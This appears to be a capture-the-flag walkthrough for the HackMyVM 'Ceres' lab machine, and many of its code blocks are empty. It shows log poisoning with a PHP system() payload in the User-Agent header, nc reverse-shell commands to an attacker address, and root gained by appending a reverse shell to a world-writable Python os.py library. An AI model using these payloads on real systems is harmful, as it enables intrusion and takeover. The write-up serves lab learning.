You’ll find this vm here : https://hackmyvm.eu/machines/machine.php?vm=Ceres
Nmap
1 |
|
Gobuster 1
1 |
|
Gobuster 2 [ /planet ]
1 |
|
PHP wrapper
1 |
|
Curl
1 |
|
Base64 decoder
1 |
|
1 |
|
Gobuster 3 [ /planet/My_H1dd3n_S3cr3t/ ]
1 |
|
PHP Wrapper 2
1 |
|
Curl
1 |
|
Decoded /etc/passwd
1 |
|
Fuzzing for logs
Common log files
1 |
|
In action
1 |
|
LFI to RCE ( log poisoning through User-Agent)
BurpSuite -> Repeater
- Request
1
2
3
4
5
6
7
8GET / HTTP/1.1 Host: 10.0.2.202 User-Agent: <?php system($_GET['cmd']); ?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
Rce
1 |
|
Reverse Shell
- Browser
1
view-source:http://10.0.2.203/planet/My_H1dd3n_S3cr3t/file.php?file=/var/log/apache2/access.log&cmd=nc%20-e%20/bin/sh%2010.0.2.15%205555
- Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15┌──(alienum㉿kali)-[~] └─$ nc -lvp 5555 listening on [any] 5555 ... connect to [10.0.2.15] from 10.0.2.203 [10.0.2.203] 35210 /usr/bin/script -qc /bin/bash /dev/null www-data@Ceres:/var/www/html/planet/My_H1dd3n_S3cr3t$ export TERM=xterm export TERM=xterm www-data@Ceres:/var/www/html/planet/My_H1dd3n_S3cr3t$ export HOME=/home export HOME=/home www-data@Ceres:/var/www/html/planet/My_H1dd3n_S3cr3t$ cd cd www-data@Ceres:~$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@Ceres:~$
User
1 |
|
Root - pspy64
1 |
|
Cat important.py
1 |
|
Run - LinuxPrivChecker.py
1 |
|
Python Library Hijacking
- Edit os.py
- Explanation
- The /opt/important.py import the /usr/lib/python2.7/os.py library
- The root user automatically call the /opt/important.py periodically
- The /usr/lib/python2.7/os.py is world writable
- Edit the /usr/lib/python2.7/os.py with the reverse shell
- Set up the listener
- Wait for root to call the /opt/important.py
1 |
|
- In action
1
giuseppe@Ceres:~$ echo "import subprocess;subprocess.call(['nc', '-e','/bin/sh','10.0.2.15','4444'], shell=False)" >> /usr/lib/python2.7/os.py
- Listener
1
2
3
4
5
6
7
8
9
10
11┌──(alienum㉿kali)-[~] └─$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.0.2.15] from 10.0.2.206 [10.0.2.206] 58668 id uid=0(root) gid=0(root) grupos=0(root) export TERM=xterm /usr/bin/script -qc /bin/bash /dev/null root@Ceres:~# whoami whoami root